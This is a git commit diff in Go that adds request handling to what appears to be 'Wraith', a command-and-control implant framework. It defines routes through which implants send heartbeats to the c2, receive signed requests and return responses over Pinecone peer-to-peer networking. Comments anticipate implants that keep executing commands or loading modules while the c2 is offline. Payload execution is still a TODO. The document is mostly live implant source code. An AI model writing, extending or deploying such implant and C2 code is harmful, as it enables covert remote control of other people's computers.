chore: initial request handling in module
This commit is contained in:
parent
04bf00fd08
commit
570068c8a0
|
@ -26,6 +26,32 @@ import (
|
|||
pineconeSessions "github.com/matrix-org/pinecone/sessions"
|
||||
)
|
||||
|
||||
type Manager interface {
|
||||
GetInboundAddr() string
|
||||
GetLogger() *log.Logger
|
||||
GetPineconeIdentity() ed25519.PrivateKey
|
||||
GetStaticPeers() []string
|
||||
GetUseMulticast() bool
|
||||
GetWebserverAddr() string
|
||||
GetWebserverDebugPath() string
|
||||
GetWebserverHandlers() []WebserverHandler
|
||||
IsRunning() bool
|
||||
Recv(ctx context.Context) (proto.Packet, error)
|
||||
RecvChan(ctx context.Context) chan proto.Packet
|
||||
Restart()
|
||||
Send(ctx context.Context, p proto.Packet) error
|
||||
SetInboundAddr(u string)
|
||||
SetLogger(u *log.Logger)
|
||||
SetPineconeIdentity(u ed25519.PrivateKey)
|
||||
SetStaticPeers(u []string)
|
||||
SetUseMulticast(u bool)
|
||||
SetWebserverAddr(u string)
|
||||
SetWebserverDebugPath(u string)
|
||||
SetWebserverHandlers(u []WebserverHandler)
|
||||
Start()
|
||||
Stop()
|
||||
}
|
||||
|
||||
type manager struct {
|
||||
// Once instances ensuring that each method is only executed once at a given time.
|
||||
startOnce misc.CheckableOnce
|
||||
|
@ -403,7 +429,7 @@ var managerInstance *manager = nil
|
|||
|
||||
// Get the instance of the pinecone manager. This instance is shared for
|
||||
// the entire program and successive calls return the existing instance.
|
||||
func GetInstance() *manager {
|
||||
func GetInstance() Manager {
|
||||
// Create and initialise an instance of manager only once.
|
||||
initonce.Do(func() {
|
||||
// Disable quic-go's debug message
|
||||
|
|
|
@ -2,14 +2,16 @@ package proto
|
|||
|
||||
/*
|
||||
|
||||
The HTTP part of the protocol is extremely simple; only two routes are provided:
|
||||
The HTTP part of the protocol is extremely simple; only three routes are provided:
|
||||
|
||||
- HEARTBEAT: Wraiths hit this endpoint on the c2 to report their status.
|
||||
- REQUEST: The c2 hits this endpoint to send data to a Wraith.
|
||||
- RESPONSE: The Wraith hits this endpoint to respond to c2's request.
|
||||
|
||||
*/
|
||||
|
||||
const (
|
||||
ROUTE_HEARTBEAT = "hb"
|
||||
ROUTE_REQUEST = "rq"
|
||||
ROUTE_RESPONSE = "rs"
|
||||
)
|
||||
|
|
|
@ -21,4 +21,9 @@ type PacketReq struct {
|
|||
// the payload. If the conditions are not met, the payload
|
||||
// is dropped.
|
||||
Conditions struct{}
|
||||
|
||||
// A transaction ID allowing for mapping between requests
|
||||
// and responses. The TxId is opaque and can be any string
|
||||
// of any length.
|
||||
TxId string
|
||||
}
|
||||
|
|
|
@ -16,7 +16,8 @@ type PacketRes struct {
|
|||
MemList []string
|
||||
}
|
||||
|
||||
// A signature verifying that the request came from the Wraith. Allows
|
||||
// for store-and-forward functionality.
|
||||
Signature []byte
|
||||
// A transaction ID allowing for mapping between requests
|
||||
// and responses. The TxId is opaque and can be any string
|
||||
// of any length.
|
||||
TxId string
|
||||
}
|
||||
|
|
|
@ -1,11 +1,13 @@
|
|||
package modulepinecomms
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/ed25519"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"math/rand"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/user"
|
||||
"runtime"
|
||||
|
@ -41,6 +43,76 @@ type ModulePinecomms struct {
|
|||
StaticPeers []string
|
||||
}
|
||||
|
||||
func (m *ModulePinecomms) handleRequest(ctx context.Context, w *libwraith.Wraith, pm pmanager.Manager, packet proto.Packet) {
|
||||
|
||||
//
|
||||
// Validate and process the packet.
|
||||
//
|
||||
|
||||
peerPublicKey, err := hex.DecodeString(packet.Peer)
|
||||
if err != nil {
|
||||
// This shouldn't happen, but if the peer public key is
|
||||
// malformed then we have no choice but to ignore the
|
||||
// packet.
|
||||
return
|
||||
}
|
||||
|
||||
if !bytes.Equal(peerPublicKey, m.AdminPubKey) {
|
||||
// This ensures that request packets are only accepted from
|
||||
// the c2. As packets are signed, eventually we may be able
|
||||
// to drop this check if we account for replay attacks. This
|
||||
// would allow for store-and-forward capability where new
|
||||
// Wraiths coming online will continue to execute commands
|
||||
// or load modules even if c2 is down.
|
||||
return
|
||||
}
|
||||
|
||||
packetData := proto.PacketReq{}
|
||||
err = proto.Unmarshal(&packetData, m.AdminPubKey, packet.Data)
|
||||
if err != nil {
|
||||
// The packet data is malformed, there is nothing more we
|
||||
// can do.
|
||||
return
|
||||
}
|
||||
|
||||
//
|
||||
// Evaluate the packet conditions.
|
||||
//
|
||||
|
||||
// TODO
|
||||
//packetData.Conditions
|
||||
|
||||
//
|
||||
// Execute the packet payload.
|
||||
//
|
||||
|
||||
// TODO
|
||||
|
||||
//
|
||||
// Respond to the packet.
|
||||
//
|
||||
|
||||
responseData := proto.PacketRes{
|
||||
TxId: packetData.TxId,
|
||||
// TODO
|
||||
}
|
||||
|
||||
responseDataBytes, err := proto.Marshal(&responseData, m.OwnPrivKey)
|
||||
if err != nil {
|
||||
// There is no point sending anything because the TxId is included
|
||||
// in the responseData and without it, c2 won't know what the response
|
||||
// is to.
|
||||
return
|
||||
}
|
||||
|
||||
pm.Send(ctx, proto.Packet{
|
||||
Peer: packet.Peer,
|
||||
Method: http.MethodPost,
|
||||
Route: proto.ROUTE_RESPONSE,
|
||||
Data: responseDataBytes,
|
||||
})
|
||||
}
|
||||
|
||||
func (m *ModulePinecomms) Mainloop(ctx context.Context, w *libwraith.Wraith) {
|
||||
// Ensure this instance is only started once and mark as running if so
|
||||
single := m.mutex.TryLock()
|
||||
|
@ -65,8 +137,7 @@ func (m *ModulePinecomms) Mainloop(ctx context.Context, w *libwraith.Wraith) {
|
|||
//
|
||||
|
||||
pm.SetPineconeIdentity(m.OwnPrivKey)
|
||||
//pm.SetInboundAddr(c.pineconeInboundTcpAddr)
|
||||
//pm.SetWebserverAddr(c.pineconeInboundWebAddr)
|
||||
pm.SetInboundAddr(":0")
|
||||
pm.SetUseMulticast(m.UseMulticast)
|
||||
pm.SetStaticPeers(m.StaticPeers)
|
||||
|
||||
|
@ -132,7 +203,7 @@ func (m *ModulePinecomms) Mainloop(ctx context.Context, w *libwraith.Wraith) {
|
|||
// Send the packet.
|
||||
pm.Send(ctx, proto.Packet{
|
||||
Peer: hex.EncodeToString(m.AdminPubKey),
|
||||
Method: "POST",
|
||||
Method: http.MethodPost,
|
||||
Route: proto.ROUTE_HEARTBEAT,
|
||||
Data: heartbeatBytes,
|
||||
})
|
||||
|
@ -155,10 +226,8 @@ func (m *ModulePinecomms) Mainloop(ctx context.Context, w *libwraith.Wraith) {
|
|||
case packet := <-recv:
|
||||
switch packet.Route {
|
||||
case proto.ROUTE_REQUEST:
|
||||
// TODO: Prevent replay attacks
|
||||
packetData := proto.PacketReq{}
|
||||
proto.Unmarshal(&packetData, m.AdminPubKey, packet.Data)
|
||||
fmt.Printf("%v\n", packetData)
|
||||
// Launch a goroutine to handle the request and issue a response.
|
||||
go m.handleRequest(ctx, w, pm, packet)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
Loading…
Reference in New Issue
Block a user